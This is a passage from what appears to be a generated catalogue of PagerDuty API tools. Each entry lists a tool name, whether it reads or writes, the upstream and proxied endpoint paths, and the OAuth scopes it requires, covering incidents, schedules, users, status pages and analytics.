/api/v1/pagerduty/event_orchestrations/{id}/integrations/{integration_id}. Scopes: event_orchestrations.read. pagerduty_get_event_orchestrations_by_id_router (read) — Get orch path router via GET /event_orchestrations/{id}/router GET /api/v1/pagerduty/event_orchestrations/{id}/router. Scopes: event_orchestrations.read. pagerduty_get_event_orchestrations_by_id_unrouted (read) — Get orch path unrouted via GET /event_orchestrations/{id}/unrouted GET /api/v1/pagerduty/event_orchestrations/{id}/unrouted. Scopes: event_orchestrations.read. pagerduty_get_event_orchestrations_services_by_service_id (read) — Get orch path service via GET /event_orchestrations/services/{service_id} GET /api/v1/pagerduty/event_orchestrations/services/{service_id}. Scopes: services.read. pagerduty_get_event_orchestrations_services_by_service_id_active (read) — Get orch active status via GET /event_orchestrations/services/{service_id}/active GET /api/v1/pagerduty/event_orchestrations/services/{service_id}/active. Scopes: services.read. pagerduty_get_event_orchestrations_services_by_service_id_cache_variables (read) — List cache var on service orch via GET /event_orchestrations/services/{service_id}/cache_variables GET /api/v1/pagerduty/event_orchestrations/services/{service_id}/cache_variables. Scopes: services.read. pagerduty_get_event_orchestrations_services_by_service_id_cache_variables_by_cache_variable_id (read) — Get cache var on service orch via GET /event_orchestrations/services/{service_id}/cache_variables/{cache_variable_id} GET /api/v1/pagerduty/event_orchestrations/services/{service_id}/cache_variables/{cache_variable_id}. Scopes: services.read. pagerduty_get_event_orchestrations_services_by_service_id_cache_variables_by_cache_variable_id_data (read) — Get external data cache var data on service orch via GET /event_orchestrations/services/{service_id}/cache_variables/{cache_variable_id}/data GET /api/v1/pagerduty/event_orchestrations/services/{service_id}/cache_variables/{cache_variable_id}/data. Scopes: services.read. pagerduty_get_extension_schemas (read) — List extension schemas via GET /extension_schemas GET /api/v1/pagerduty/extension_schemas. Scopes: extension_schemas.read. pagerduty_get_extension_schemas_by_id (read) — Get extension schema via GET /extension_schemas/{id} GET /api/v1/pagerduty/extension_schemas/{id}. Scopes: extension_schemas.read. pagerduty_get_extensions (read) — List extensions via GET /extensions GET /api/v1/pagerduty/extensions. Scopes: extensions.read. pagerduty_get_extensions_by_id (read) — Get extension via GET /extensions/{id} GET /api/v1/pagerduty/extensions/{id}. Scopes: extensions.read. pagerduty_get_incident_workflows (read) — List incident workflows via GET /incident_workflows GET /api/v1/pagerduty/incident_workflows. Scopes: incident_workflows.read. pagerduty_get_incident_workflows_actions (read) — List incident workflow actions via GET /incident_workflows/actions GET /api/v1/pagerduty/incident_workflows/actions. Scopes: incident_workflows.read. pagerduty_get_incident_workflows_actions_by_id (read) — Get incident workflow action via GET /incident_workflows/actions/{id} GET /api/v1/pagerduty/incident_workflows/actions/{id}. Scopes: incident_workflows.read. pagerduty_get_incident_workflows_by_id (read) — Get incident workflow via GET /incident_workflows/{id} GET /api/v1/pagerduty/incident_workflows/{id}. Scopes: incident_workflows.read. pagerduty_get_incident_workflows_triggers (read) — List incident workflow triggers via GET /incident_workflows/triggers GET /api/v1/pagerduty/incident_workflows/triggers. Scopes: incident_workflows.read. pagerduty_get_incident_workflows_triggers_by_id (read) — Get incident workflow trigger via GET /incident_workflows/triggers/{id} GET /api/v1/pagerduty/incident_workflows/triggers/{id}. Scopes: incident_workflows.read. pagerduty_get_incidents (read) — List incidents via GET /incidents GET /api/v1/pagerduty/incidents. Scopes: incidents.read. pagerduty_get_incidents_by_id (read) — Get incident via GET /incidents/{id} GET /api/v1/pagerduty/incidents/{id}. Scopes: incidents.read. pagerduty_get_incidents_by_id_alerts (read) — List incident alerts via GET /incidents/{id}/alerts GET /api/v1/pagerduty/incidents/{id}/alerts. Scopes: incidents.read. pagerduty_get_incidents_by_id_alerts_by_alert_id (read) — Get incident alert via GET /incidents/{id}/alerts/{alert_id} GET /api/v1/pagerduty/incidents/{id}/alerts/{alert_id}. Scopes: incidents.read. pagerduty_get_incidents_by_id_business_services_impacts (read) — Get incident impacted business services via GET /incidents/{id}/business_services/impacts GET /api/v1/pagerduty/incidents/{id}/business_services/impacts. Scopes: incidents.read. pagerduty_get_incidents_by_id_custom_fields_values (read) — Get incident field values via GET /incidents/{id}/custom_fields/values GET /api/v1/pagerduty/incidents/{id}/custom_fields/values. Scopes: incidents.read. pagerduty_get_incidents_by_id_log_entries (read) — List incident log entries via GET /incidents/{id}/log_entries GET /api/v1/pagerduty/incidents/{id}/log_entries. Scopes: incidents.read. pagerduty_get_incidents_by_id_notes (read) — List incident notes via GET /incidents/{id}/notes GET /api/v1/pagerduty/incidents/{id}/notes. Scopes: incidents.read. pagerduty_get_incidents_by_id_outlier_incident (read) — Get outlier incident via GET /incidents/{id}/outlier_incident GET /api/v1/pagerduty/incidents/{id}/outlier_incident. Scopes: incidents.read. pagerduty_get_incidents_by_id_past_incidents (read) — Get past incidents via GET /incidents/{id}/past_incidents GET /api/v1/pagerduty/incidents/{id}/past_incidents. Scopes: incidents.read. pagerduty_get_incidents_by_id_related_change_events (read) — List incident related change events via GET /incidents/{id}/related_change_events GET /api/v1/pagerduty/incidents/{id}/related_change_events. Scopes: incidents.read. pagerduty_get_incidents_by_id_related_incidents (read) — Get related incidents via GET /incidents/{id}/related_incidents GET /api/v1/pagerduty/incidents/{id}/related_incidents. Scopes: incidents.read. pagerduty_get_incidents_by_id_status_updates_subscribers (read) — Get incident notification subscribers via GET /incidents/{id}/status_updates/subscribers GET /api/v1/pagerduty/incidents/{id}/status_updates/subscribers. Scopes: subscribers.read. pagerduty_get_incidents_custom_fields (read) — List custom fields fields via GET /incidents/custom_fields GET /api/v1/pagerduty/incidents/custom_fields. Scopes: custom_fields.read. pagerduty_get_incidents_custom_fields_by_field_id (read) — Get custom fields field via GET /incidents/custom_fields/{field_id} GET /api/v1/pagerduty/incidents/custom_fields/{field_id}. Scopes: custom_fields.read. pagerduty_get_incidents_custom_fields_by_field_id_field_options (read) — List custom fields field options via GET /incidents/custom_fields/{field_id}/field_options GET /api/v1/pagerduty/incidents/custom_fields/{field_id}/field_options. Scopes: custom_fields.read. pagerduty_get_incidents_types (read) — List incident types via GET /incidents/types GET /api/v1/pagerduty/incidents/types. Scopes: incident_types.read. pagerduty_get_incidents_types_by_type_id_or_name (read) — Get incident type via GET /incidents/types/{type_id_or_name} GET /api/v1/pagerduty/incidents/types/{type_id_or_name}. Scopes: incident_types.read. pagerduty_get_incidents_types_by_type_id_or_name_custom_fields (read) — List incident type custom fields via GET /incidents/types/{type_id_or_name}/custom_fields GET /api/v1/pagerduty/incidents/types/{type_id_or_name}/custom_fields. Scopes: custom_fields.read. pagerduty_get_incidents_types_by_type_id_or_name_custom_fields_by_field_id (read) — Get incident type custom field via GET /incidents/types/{type_id_or_name}/custom_fields/{field_id} GET /api/v1/pagerduty/incidents/types/{type_id_or_name}/custom_fields/{field_id}. Scopes: custom_fields.read. pagerduty_get_incidents_types_by_type_id_or_name_custom_fields_by_field_id_field_options (read) — List incident type custom field via GET /incidents/types/{type_id_or_name}/custom_fields/{field_id}/field_options GET /api/v1/pagerduty/incidents/types/{type_id_or_name}/custom_fields/{field_id}/field_options. Scopes: custom_fields.read. pagerduty_get_incidents_types_by_type_id_or_name_custom_fields_by_field_id_field_options_by_field_option_id (read) — Get incident type custom field field options via GET /incidents/types/{type_id_or_name}/custom_fields/{field_id}/field_options/{field_option_id} GET /api/v1/pagerduty/incidents/types/{type_id_or_name}/custom_fields/{field_id}/field_options/{field_option_id}. Scopes: custom_fields.read. pagerduty_get_ip_allow_lists (read) — List ip allow lists via GET /ip_allow_lists GET /api/v1/pagerduty/ip_allow_lists. Scopes: ip_allow_lists.read. pagerduty_get_ip_allow_lists_by_id (read) — Get ip allow list via GET /ip_allow_lists/{id} GET /api/v1/pagerduty/ip_allow_lists/{id}. Scopes: ip_allow_lists.read. pagerduty_get_ip_allow_lists_by_id_audit_records (read) — List ip allow list audit records via GET /ip_allow_lists/{id}/audit/records GET /api/v1/pagerduty/ip_allow_lists/{id}/audit/records. Scopes: audit_records.read. pagerduty_get_license_allocations (read) — List license allocations via GET /license_allocations GET /api/v1/pagerduty/license_allocations. Scopes: licenses.read. pagerduty_get_licenses (read) — List licenses via GET /licenses GET /api/v1/pagerduty/licenses. Scopes: licenses.read. pagerduty_get_log_entries (read) — List log entries via GET /log_entries GET /api/v1/pagerduty/log_entries. Scopes: incidents.read. pagerduty_get_log_entries_by_id (read) — Get log entry via GET /log_entries/{id} GET /api/v1/pagerduty/log_entries/{id}. Scopes: incidents.read. pagerduty_get_maintenance_windows (read) — List maintenance windows via GET /maintenance_windows GET /api/v1/pagerduty/maintenance_windows. Scopes: services.read. pagerduty_get_maintenance_windows_by_id (read) — Get maintenance window via GET /maintenance_windows/{id} GET /api/v1/pagerduty/maintenance_windows/{id}. Scopes: services.read. pagerduty_get_oauth_delegations_revocation_requests_status (read) — Get oauth delegations revocation requests status via GET /oauth_delegations/revocation_requests/status GET /api/v1/pagerduty/oauth_delegations/revocation_requests/status. Scopes: oauth_delegations.read. pagerduty_get_oncalls (read) — List on calls via GET /oncalls GET /api/v1/pagerduty/oncalls. Scopes: oncalls.read. pagerduty_get_paused_incident_reports_alerts (read) — Get paused incident report alerts via GET /paused_incident_reports/alerts GET /api/v1/pagerduty/paused_incident_reports/alerts. Scopes: incidents.read. pagerduty_get_paused_incident_reports_counts (read) — Get paused incident report counts via GET /paused_incident_reports/counts GET /api/v1/pagerduty/paused_incident_reports/counts. Scopes: incidents.read. pagerduty_get_priorities (read) — List priorities via GET /priorities GET /api/v1/pagerduty/priorities. Scopes: priorities.read. pagerduty_get_recommendations_event_orchestrations_rules (read) — List recommended rules via GET /recommendations/event_orchestrations/rules GET /api/v1/pagerduty/recommendations/event_orchestrations/rules. Scopes: recommendations.read. pagerduty_get_rulesets (read) — List rulesets via GET /rulesets GET /api/v1/pagerduty/rulesets. Scopes: event_rules.read. pagerduty_get_rulesets_by_id (read) — Get ruleset via GET /rulesets/{id} GET /api/v1/pagerduty/rulesets/{id}. Scopes: event_rules.read. pagerduty_get_rulesets_by_id_rules (read) — List ruleset event rules via GET /rulesets/{id}/rules GET /api/v1/pagerduty/rulesets/{id}/rules. Scopes: event_rules.read. pagerduty_get_rulesets_by_id_rules_by_rule_id (read) — Get ruleset event rule via GET /rulesets/{id}/rules/{rule_id} GET /api/v1/pagerduty/rulesets/{id}/rules/{rule_id}. Scopes: event_rules.read. pagerduty_get_schedules (read) — List schedules via GET /schedules GET /api/v1/pagerduty/schedules. Scopes: schedules.read. pagerduty_get_schedules_by_id (read) — Get schedule via GET /schedules/{id} GET /api/v1/pagerduty/schedules/{id}. Scopes: schedules.read. pagerduty_get_schedules_by_id_audit_records (read) — List schedules audit records via GET /schedules/{id}/audit/records GET /api/v1/pagerduty/schedules/{id}/audit/records. Scopes: audit_records.read. pagerduty_get_schedules_by_id_overrides (read) — List schedule overrides via GET /schedules/{id}/overrides GET /api/v1/pagerduty/schedules/{id}/overrides. Scopes: schedules.read. pagerduty_get_schedules_by_id_users (read) — List schedule users via GET /schedules/{id}/users GET /api/v1/pagerduty/schedules/{id}/users. Scopes: users.read. pagerduty_get_service_dependencies_business_services_by_id (read) — Get business service service dependencies via GET /service_dependencies/business_services/{id} GET /api/v1/pagerduty/service_dependencies/business_services/{id}. Scopes: services.read. pagerduty_get_service_dependencies_technical_services_by_id (read) — Get technical service service dependencies via GET /service_dependencies/technical_services/{id} GET /api/v1/pagerduty/service_dependencies/technical_services/{id}. Scopes: services.read. pagerduty_get_services (read) — List services via GET /services GET /api/v1/pagerduty/services. Scopes: services.read. pagerduty_get_services_by_id (read) — Get service via GET /services/{id} GET /api/v1/pagerduty/services/{id}. Scopes: services.read. pagerduty_get_services_by_id_audit_records (read) — List service audit records via GET /services/{id}/audit/records GET /api/v1/pagerduty/services/{id}/audit/records. Scopes: audit_records.read. pagerduty_get_services_by_id_change_events (read) — List service change events via GET /services/{id}/change_events GET /api/v1/pagerduty/services/{id}/change_events. Scopes: services.read. pagerduty_get_services_by_id_custom_fields_values (read) — Get service custom field values via GET /services/{id}/custom_fields/values GET /api/v1/pagerduty/services/{id}/custom_fields/values. Scopes: services.read. pagerduty_get_services_by_id_enablements (read) — List service feature enablements via GET /services/{id}/enablements GET /api/v1/pagerduty/services/{id}/enablements. Scopes: services.read. pagerduty_get_services_by_id_integrations_by_integration_id (read) — Get service integration via GET /services/{id}/integrations/{integration_id} GET /api/v1/pagerduty/services/{id}/integrations/{integration_id}. Scopes: services.read. pagerduty_get_services_by_id_rules (read) — List service event rules via GET /services/{id}/rules GET /api/v1/pagerduty/services/{id}/rules. Scopes: services.read. pagerduty_get_services_by_id_rules_by_rule_id (read) — Get service event rule via GET /services/{id}/rules/{rule_id} GET /api/v1/pagerduty/services/{id}/rules/{rule_id}. Scopes: services.read. pagerduty_get_services_custom_fields (read) — List service custom fields via GET /services/custom_fields GET /api/v1/pagerduty/services/custom_fields. Scopes: custom_fields.read. pagerduty_get_services_custom_fields_by_field_id (read) — Get service custom field via GET /services/custom_fields/{field_id} GET /api/v1/pagerduty/services/custom_fields/{field_id}. Scopes: custom_fields.read. pagerduty_get_services_custom_fields_by_field_id_field_options (read) — List service custom field options via GET /services/custom_fields/{field_id}/field_options GET /api/v1/pagerduty/services/custom_fields/{field_id}/field_options. Scopes: custom_fields.read. pagerduty_get_services_custom_fields_by_field_id_field_options_by_field_option_id (read) — Get service custom field option via GET /services/custom_fields/{field_id}/field_options/{field_option_id} GET /api/v1/pagerduty/services/custom_fields/{field_id}/field_options/{field_option_id}. Scopes: custom_fields.read. pagerduty_get_session_configurations (read) — Get session configurations via GET /session_configurations GET /api/v1/pagerduty/session_configurations. Scopes: session_configurations.read. pagerduty_get_standards (read) — List standards via GET /standards GET /api/v1/pagerduty/standards. Scopes: standards.read. pagerduty_get_standards_scores_by_resource_type (read) — List resource standards many services via GET /standards/scores/{resource_type} GET /api/v1/pagerduty/standards/scores/{resource_type}. Scopes: standards.read. pagerduty_get_standards_scores_by_resource_type_by_id (read) — List resource standards via GET /standards/scores/{resource_type}/{id} GET /api/v1/pagerduty/standards/scores/{resource_type}/{id}. Scopes: standards.read. pagerduty_get_status_dashboards (read) — List status dashboards via GET /status_dashboards GET /api/v1/pagerduty/status_dashboards. Scopes: status_dashboards.read. pagerduty_get_status_dashboards_by_id (read) — Get status dashboard by id via GET /status_dashboards/{id} GET /api/v1/pagerduty/status_dashboards/{id}. Scopes: status_dashboards.read. pagerduty_get_status_dashboards_by_id_service_impacts (read) — Get status dashboard service impacts by id via GET /status_dashboards/{id}/service_impacts GET /api/v1/pagerduty/status_dashboards/{id}/service_impacts. Scopes: status_dashboards.read. pagerduty_get_status_dashboards_url_slugs_by_url_slug (read) — Get status dashboard by url slug via GET /status_dashboards/url_slugs/{url_slug} GET /api/v1/pagerduty/status_dashboards/url_slugs/{url_slug}. Scopes: status_dashboards.read. pagerduty_get_status_dashboards_url_slugs_by_url_slug_service_impacts (read) — Get status dashboard service impacts by url slug via GET /status_dashboards/url_slugs/{url_slug}/service_impacts GET /api/v1/pagerduty/status_dashboards/url_slugs/{url_slug}/service_impacts. Scopes: status_dashboards.read. pagerduty_get_status_pages (read) — List status pages via GET /status_pages GET /api/v1/pagerduty/status_pages. Scopes: status_pages.read. pagerduty_get_status_pages_by_id_impacts (read) — List status page impacts via GET /status_pages/{id}/impacts GET /api/v1/pagerduty/status_pages/{id}/impacts. Scopes: status_pages.read. pagerduty_get_status_pages_by_id_impacts_by_impact_id (read) — Get status page impact via GET /status_pages/{id}/impacts/{impact_id} GET /api/v1/pagerduty/status_pages/{id}/impacts/{impact_id}. Scopes: status_pages.read. pagerduty_get_status_pages_by_id_posts (read) — List status page posts via GET /status_pages/{id}/posts GET /api/v1/pagerduty/status_pages/{id}/posts. Scopes: status_pages.read. pagerduty_get_status_pages_by_id_posts_by_post_id (read) — Get status page post via GET /status_pages/{id}/posts/{post_id} GET /api/v1/pagerduty/status_pages/{id}/posts/{post_id}. Scopes: status_pages.read. pagerduty_get_status_pages_by_id_posts_by_post_id_post_updates (read) — List status page post updates via GET /status_pages/{id}/posts/{post_id}/post_updates GET /api/v1/pagerduty/status_pages/{id}/posts/{post_id}/post_updates. Scopes: status_pages.read. pagerduty_get_status_pages_by_id_posts_by_post_id_post_updates_by_post_update_id (read) — Get post update via GET /status_pages/{id}/posts/{post_id}/post_updates/{post_update_id} GET /api/v1/pagerduty/status_pages/{id}/posts/{post_id}/post_updates/{post_update_id}. Scopes: status_pages.read. pagerduty_get_status_pages_by_id_posts_by_post_id_postmortem (read) — Get postmortem via GET /status_pages/{id}/posts/{post_id}/postmortem GET /api/v1/pagerduty/status_pages/{id}/posts/{post_id}/postmortem. Scopes: status_pages.read. pagerduty_get_status_pages_by_id_services (read) — List status page services via GET /status_pages/{id}/services GET /api/v1/pagerduty/status_pages/{id}/services. Scopes: status_pages.read. pagerduty_get_status_pages_by_id_services_by_service_id (read) — Get status page service via GET /status_pages/{id}/services/{service_id} GET /api/v1/pagerduty/status_pages/{id}/services/{service_id}. Scopes: status_pages.read. pagerduty_get_status_pages_by_id_severities (read) — List status page severities via GET /status_pages/{id}/severities GET /api/v1/pagerduty/status_pages/{id}/severities. Scopes: status_pages.read. pagerduty_get_status_pages_by_id_severities_by_severity_id (read) — Get status page severity via GET /status_pages/{id}/severities/{severity_id} GET /api/v1/pagerduty/status_pages/{id}/severities/{severity_id}. Scopes: status_pages.read. pagerduty_get_status_pages_by_id_statuses (read) — List status page statuses via GET /status_pages/{id}/statuses GET /api/v1/pagerduty/status_pages/{id}/statuses. Scopes: status_pages.read. pagerduty_get_status_pages_by_id_statuses_by_status_id (read) — Get status page status via GET /status_pages/{id}/statuses/{status_id} GET /api/v1/pagerduty/status_pages/{id}/statuses/{status_id}. Scopes: status_pages.read. pagerduty_get_status_pages_by_id_subscriptions (read) — List status page subscriptions via GET /status_pages/{id}/subscriptions GET /api/v1/pagerduty/status_pages/{id}/subscriptions. Scopes: status_pages.read. pagerduty_get_status_pages_by_id_subscriptions_by_subscription_id (read) — Get status page subscription via GET /status_pages/{id}/subscriptions/{subscription_id} GET /api/v1/pagerduty/status_pages/{id}/subscriptions/{subscription_id}. Scopes: status_pages.read. pagerduty_get_tags (read) — List tags via GET /tags GET /api/v1/pagerduty/tags. Scopes: tags.read. pagerduty_get_tags_by_id (read) — Get tag via GET /tags/{id} GET /api/v1/pagerduty/tags/{id}. Scopes: tags.read. pagerduty_get_tags_by_id_by_entity_type (read) — Get tags by entity type via GET /tags/{id}/{entity_type} GET /api/v1/pagerduty/tags/{id}/{entity_type}. Scopes: tags.read. pagerduty_get_teams (read) — List teams via GET /teams GET /api/v1/pagerduty/teams. Scopes: teams.read. pagerduty_get_teams_by_id (read) — Get team via GET /teams/{id} GET /api/v1/pagerduty/teams/{id}. Scopes: teams.read. pagerduty_get_teams_by_id_audit_records (read) — List teams audit records via GET /teams/{id}/audit/records GET /api/v1/pagerduty/teams/{id}/audit/records. Scopes: audit_records.read. pagerduty_get_teams_by_id_members (read) — List team users via GET /teams/{id}/members GET /api/v1/pagerduty/teams/{id}/members. Scopes: teams.read. pagerduty_get_teams_by_id_notification_subscriptions (read) — Get team notification subscriptions via GET /teams/{id}/notification_subscriptions GET /api/v1/pagerduty/teams/{id}/notification_subscriptions. Scopes: subscribers.read. pagerduty_get_templates (read) — Get templates via GET /templates GET /api/v1/pagerduty/templates. Scopes: templates.read. pagerduty_get_templates_by_id (read) — Get template via GET /templates/{id} GET /api/v1/pagerduty/templates/{id}. Scopes: templates.read. pagerduty_get_templates_fields (read) — Get template fields via GET /templates/fields GET /api/v1/pagerduty/templates/fields. Scopes: templates.read. pagerduty_get_users (read) — List users via GET /users GET /api/v1/pagerduty/users. Scopes: users.read. pagerduty_get_users_by_id (read) — Get user via GET /users/{id} GET /api/v1/pagerduty/users/{id}. Scopes: users.read. pagerduty_get_users_by_id_audit_records (read) — List users audit records via GET /users/{id}/audit/records GET /api/v1/pagerduty/users/{id}/audit/records. Scopes: audit_records.read. pagerduty_get_users_by_id_contact_methods (read) — Get user contact methods via GET /users/{id}/contact_methods GET /api/v1/pagerduty/users/{id}/contact_methods. Scopes: users:contact_methods.read. pagerduty_get_users_by_id_contact_methods_by_contact_method_id (read) — Get user contact method via GET /users/{id}/contact_methods/{contact_method_id} GET /api/v1/pagerduty/users/{id}/contact_methods/{contact_method_id}. Scopes: users:contact_methods.read. pagerduty_get_users_by_id_license (read) — Get user license via GET /users/{id}/license GET /api/v1/pagerduty/users/{id}/license. Scopes: licenses.read. pagerduty_get_users_by_id_notification_rules (read) — Get user notification rules via GET /users/{id}/notification_rules GET /api/v1/pagerduty/users/{id}/notification_rules. Scopes: users:contact_methods.read. pagerduty_get_users_by_id_notification_rules_by_notification_rule_id (read) — Get user notification rule via GET /users/{id}/notification_rules/{notification_rule_id} GET /api/v1/pagerduty/users/{id}/notification_rules/{notification_rule_id}. Scopes: users:contact_methods.read. pagerduty_get_users_by_id_notification_subscriptions (read) — Get user notification subscriptions via GET /users/{id}/notification_subscriptions GET /api/v1/pagerduty/users/{id}/notification_subscriptions. Scopes: subscribers.read. pagerduty_get_users_by_id_oauth_delegations (read) — List user delegations via GET /users/{id}/oauth_delegations GET /api/v1/pagerduty/users/{id}/oauth_delegations. Scopes: oauth_delegations.read. pagerduty_get_users_by_id_oauth_delegations_by_delegation_id (read) — Get user delegation via GET /users/{id}/oauth_delegations/{delegation_id} GET /api/v1/pagerduty/users/{id}/oauth_delegations/{delegation_id}. Scopes: oauth_delegations.read. pagerduty_get_users_by_id_oncall_handoff_notification_rules (read) — Get user handoff notification rules via GET /users/{id}/oncall_handoff_notification_rules GET /api/v1/pagerduty/users/{id}/oncall_handoff_notification_rules. Scopes: users.read. pagerduty_get_users_by_id_oncall_handoff_notification_rules_by_oncall_handoff_notification_rule_id (read) — Get user handoff notifiaction rule via GET /users/{id}/oncall_handoff_notification_rules/{oncall_handoff_notification_rule_id} GET /api/v1/pagerduty/users/{id}/oncall_handoff_notification_rules/{oncall_handoff_notification_rule_id}. Scopes: users.read. pagerduty_get_users_by_id_sessions (read) — Get user sessions via GET /users/{id}/sessions GET /api/v1/pagerduty/users/{id}/sessions. Scopes: users:sessions.read. pagerduty_get_users_by_id_sessions_by_type_by_session_id (read) — Get user session via GET /users/{id}/sessions/{type}/{session_id} GET /api/v1/pagerduty/users/{id}/sessions/{type}/{session_id}. Scopes: users:sessions.read. pagerduty_get_users_by_id_status_update_notification_rules (read) — Get user status update notification rules via GET /users/{id}/status_update_notification_rules GET /api/v1/pagerduty/users/{id}/status_update_notification_rules. Scopes: users.read. pagerduty_get_users_by_id_status_update_notification_rules_by_status_update_notification_rule_id (read) — Get user status update notification rule via GET /users/{id}/status_update_notification_rules/{status_update_notification_rule_id} GET /api/v1/pagerduty/users/{id}/status_update_notification_rules/{status_update_notification_rule_id}. Scopes: users.read. pagerduty_get_users_me (read) — Get current user via GET /users/me GET /api/v1/pagerduty/users/me. Scopes: none. pagerduty_get_v3_schedules (read) — List schedules v3 via GET /v3/schedules GET /api/v1/pagerduty/v3/schedules. Scopes: none. pagerduty_get_v3_schedules_by_id (read) — Get schedule v3 via GET /v3/schedules/{id} GET /api/v1/pagerduty/v3/schedules/{id}. Scopes: none. pagerduty_get_v3_schedules_by_id_audit_records (read) — List schedules audit records v3 via GET /v3/schedules/{id}/audit/records GET /api/v1/pagerduty/v3/schedules/{id}/audit/records. Scopes: audit_records.read. pagerduty_get_v3_schedules_by_id_custom_shifts (read) — List custom shifts via GET /v3/schedules/{id}/custom_shifts GET /api/v1/pagerduty/v3/schedules/{id}/custom_shifts. Scopes: none. pagerduty_get_v3_schedules_by_id_custom_shifts_by_custom_shift_id (read) — Get custom shift via GET /v3/schedules/{id}/custom_shifts/{custom_shift_id} GET /api/v1/pagerduty/v3/schedules/{id}/custom_shifts/{custom_shift_id}. Scopes: none. pagerduty_get_v3_schedules_by_id_overrides (read) — List overrides via GET /v3/schedules/{id}/overrides GET /api/v1/pagerduty/v3/schedules/{id}/overrides. Scopes: none. pagerduty_get_v3_schedules_by_id_overrides_by_override_id (read) — Get override via GET /v3/schedules/{id}/overrides/{override_id} GET /api/v1/pagerduty/v3/schedules/{id}/overrides/{override_id}. Scopes: none. pagerduty_get_v3_schedules_by_id_rotations (read) — List rotations via GET /v3/schedules/{id}/rotations GET /api/v1/pagerduty/v3/schedules/{id}/rotations. Scopes: none. pagerduty_get_v3_schedules_by_id_rotations_by_rotation_id (read) — Get rotation via GET /v3/schedules/{id}/rotations/{rotation_id} GET /api/v1/pagerduty/v3/schedules/{id}/rotations/{rotation_id}. Scopes: none. pagerduty_get_v3_schedules_by_id_rotations_by_rotation_id_events (read) — List events via GET /v3/schedules/{id}/rotations/{rotation_id}/events GET /api/v1/pagerduty/v3/schedules/{id}/rotations/{rotation_id}/events. Scopes: none. pagerduty_get_v3_schedules_by_id_rotations_by_rotation_id_events_by_event_id (read) — Get event via GET /v3/schedules/{id}/rotations/{rotation_id}/events/{event_id} GET /api/v1/pagerduty/v3/schedules/{id}/rotations/{rotation_id}/events/{event_id}. Scopes: none. pagerduty_get_vendors (read) — List vendors via GET /vendors GET /api/v1/pagerduty/vendors. Scopes: vendors.read. pagerduty_get_vendors_by_id (read) — Get vendor via GET /vendors/{id} GET /api/v1/pagerduty/vendors/{id}. Scopes: vendors.read. pagerduty_get_webhook_subscriptions (read) — List webhook subscriptions via GET /webhook_subscriptions GET /api/v1/pagerduty/webhook_subscriptions. Scopes: webhook_subscriptions.read. pagerduty_get_webhook_subscriptions_by_id (read) — Get webhook subscription via GET /webhook_subscriptions/{id} GET /api/v1/pagerduty/webhook_subscriptions/{id}. Scopes: webhook_subscriptions.read. pagerduty_get_webhook_subscriptions_oauth_clients (read) — List oauth clients via GET /webhook_subscriptions/oauth_clients GET /api/v1/pagerduty/webhook_subscriptions/oauth_clients. Scopes: none. pagerduty_get_webhook_subscriptions_oauth_clients_by_id (read) — Get oauth client via GET /webhook_subscriptions/oauth_clients/{id} GET /api/v1/pagerduty/webhook_subscriptions/oauth_clients/{id}. Scopes: none. pagerduty_get_workflows_integrations (read) — List workflow integrations via GET /workflows/integrations GET /api/v1/pagerduty/workflows/integrations. Scopes: workflow_integrations.read. pagerduty_get_workflows_integrations_by_id (read) — Get workflow integration via GET /workflows/integrations/{id} GET /api/v1/pagerduty/workflows/integrations/{id}. Scopes: workflow_integrations.read. pagerduty_get_workflows_integrations_by_integration_id_connections (read) — List workflow integration connections by integration via GET /workflows/integrations/{integration_id}/connections GET /api/v1/pagerduty/workflows/integrations/{integration_id}/connections. Scopes: workflow_integrations:connections.read. pagerduty_get_workflows_integrations_by_integration_id_connections_by_id (read) — Get workflow integration connection via GET /workflows/integrations/{integration_id}/connections/{id} GET /api/v1/pagerduty/workflows/integrations/{integration_id}/connections/{id}. Scopes: workflow_integrations:connections.read. pagerduty_get_workflows_integrations_connections (read) — List workflow integration connections via GET /workflows/integrations/connections GET /api/v1/pagerduty/workflows/integrations/connections. Scopes: workflow_integrations:connections.read. pagerduty_patch_workflows_integrations_by_integration_id_connections_by_id (write) — Update workflow integration connection via PATCH /workflows/integrations/{integration_id}/connections/{id} PATCH /api/v1/pagerduty/workflows/integrations/{integration_id}/connections/{id}. Scopes: workflow_integrations:connections.write. pagerduty_post_addons (write) — Create addon via POST /addons POST /api/v1/pagerduty/addons. Scopes: addons.write. pagerduty_post_alert_grouping_settings (write) — Post alert grouping settings via POST /alert_grouping_settings POST /api/v1/pagerduty/alert_grouping_settings. Scopes: services.write. pagerduty_post_analytics_metrics_incidents_all (write) — Get analytics metrics incidents all via POST /analytics/metrics/incidents/all POST /api/v1/pagerduty/analytics/metrics/incidents/all. Scopes: analytics.read. pagerduty_post_analytics_metrics_incidents_escalation_policies (write) — Get analytics metrics incidents escalation policy via POST /analytics/metrics/incidents/escalation_policies POST /api/v1/pagerduty/analytics/metrics/incidents/escalation_policies. Scopes: analytics.read. pagerduty_post_analytics_metrics_incidents_escalation_policies_all (write) — Get analytics metrics incidents escalation policy all via POST /analytics/metrics/incidents/escalation_policies/all POST /api/v1/pagerduty/analytics/metrics/incidents/escalation_policies/all. Scopes: analytics.read. pagerduty_post_analytics_metrics_incidents_services (write) — Get analytics metrics incidents service via POST /analytics/metrics/incidents/services POST /api/v1/pagerduty/analytics/metrics/incidents/services. Scopes: analytics.read. pagerduty_post_analytics_metrics_incidents_services_all (write) — Get analytics metrics incidents service all via POST /analytics/metrics/incidents/services/all POST /api/v1/pagerduty/analytics/metrics/incidents/services/all. Scopes: analytics.read. pagerduty_post_analytics_metrics_incidents_teams (write) — Get analytics metrics incidents team via POST /analytics/metrics/incidents/teams POST /api/v1/pagerduty/analytics/metrics/incidents/teams. Scopes: analytics.read. pagerduty_post_analytics_metrics_incidents_teams_all (write) — Get analytics metrics incidents team all via POST /analytics/metrics/incidents/teams/all POST /api/v1/pagerduty/analytics/metrics/incidents/teams/all. Scopes: analytics.read. pagerduty_post_analytics_metrics_pd_advance_usage_features (write) — Get analytics metrics pd advance usage features via POST /analytics/metrics/pd_advance_usage/features POST /api/v1/pagerduty/analytics/metrics/pd_advance_usage/features. Scopes: analytics.read. pagerduty_post_analytics_metrics_responders_all (write) — Get analytics metrics responders all via POST /analytics/metrics/responders/all POST /api/v1/pagerduty/analytics/metrics/responders/all. Scopes: analytics.read. pagerduty_post_analytics_metrics_responders_teams (write) — Get analytics metrics responders team via POST /analytics/metrics/responders/teams POST /api/v1/pagerduty/analytics/metrics/responders/teams. Scopes: analytics.read. pagerduty_post_analytics_metrics_users_all (write) — Get analytics metrics users all via POST /analytics/metrics/users/all POST /api/v1/pagerduty/analytics/metrics/users/all. Scopes: analytics.read. pagerduty_post_analytics_raw_incidents (write) — Get analytics incidents via 